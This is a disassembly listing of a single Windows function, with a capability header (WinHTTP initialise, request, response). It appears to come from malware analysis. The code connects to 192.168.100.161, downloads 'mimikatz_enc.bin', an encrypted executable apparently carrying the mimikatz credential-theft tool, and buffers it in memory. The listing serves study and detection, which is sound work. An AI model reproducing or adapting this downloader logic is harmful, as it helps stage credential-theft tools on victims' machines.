Function at 0x1400017c0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rsi
push r12
push r13
push r14
push r15
sub rsp, 0x50
mov rax, qword [0x140025018]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r12, r8
xor r13d, r13d
xor r8d, r8d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x140001a56
lea r8d, [r13 + 0x50]
xor r9d, r9d
lea rdx, str.192.168.100.161
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
test rax, rax
je 0x140001a4d
mov dword [rsp + 0x30], r13d
lea r8, str.mimikatz_enc.bin
mov qword [rsp + 0x28], r13
lea rdx, [0x140021588]
xor r9d, r9d
mov qword [rsp + 0x20], r13
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov rcx, rax
mov dword [rsp + 0x28], r13d
xor r8d, r8d
mov dword [rsp + 0x20], r13d
xor edx, edx
mov rsi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140001a44
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x140001a3b
mov qword [rsp + 0x88], rbp
mov ebp, r13d
mov qword [rsp + 0x98], rdi
mov edi, r13d
mov qword [rsp + 0x80], rbx
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x44], r13d
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x1400018e6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error__d_in_WinHttpQueryDataAvailable._n
call fcn.140001010
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x1400019b5
mov ecx, eax
call fcn.140009dc0
mov rbx, rax
test rax, rax
je 0x1400019a4
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x140001979
mov edx, edi
mov rax, 0xffffffffffffffff
add edx, dword [rsp + 0x44]
mov rcx, rbp
cmovb rdx, rax
call fcn.140009da4
test rax, rax
je 0x14000198e
mov r8d, dword [rsp + 0x44]
mov rbp, rax
mov rcx, rbx
test r8d, r8d
jle 0x140001976
mov r9d, edi
mov edx, r8d
sub r9, rbx
add r9, rax
nop dword [rax]
movzx eax, byte [rcx]
mov byte [r9 + rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140001960
mov r8d, dword [rsp + 0x44]
add edi, r8d
mov rcx, rbx
call fcn.140009dac
cmp dword [rsp + 0x40], r13d
ja 0x1400018c0
jmp 0x1400019b5
lea rcx, str.____Out_of_memory_while_reallocating_buffer._n
call fcn.140001010
mov rcx, rbx
call fcn.140009dac
jmp 0x1400019b0
lea rcx, str.____Out_of_memory_while_downloading._n
call fcn.140001010
mov dword [rsp + 0x40], r13d
mov rbx, qword [rsp + 0x80]
test edi, edi
je 0x140001a23
mov rcx, rsi
mov qword [r12], rbp
mov dword [r12 + 8], edi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov edx, edi
lea rcx, str.___Downloaded_the_PE_with_size:__d_n
call fcn.140001010
mov eax, 1
mov rbp, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140002c00
add rsp, 0x50
pop r15
pop r14
pop r13
pop r12
pop rsi
ret
mov rcx, rbp
call fcn.140009dac
lea rcx, str.____Download_failed__n
call fcn.140001010
xor eax, eax
jmp 0x1400019f8
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
lea rcx, str.____Download_failed__n
call fcn.140001010
xor eax, eax
jmp 0x140001a08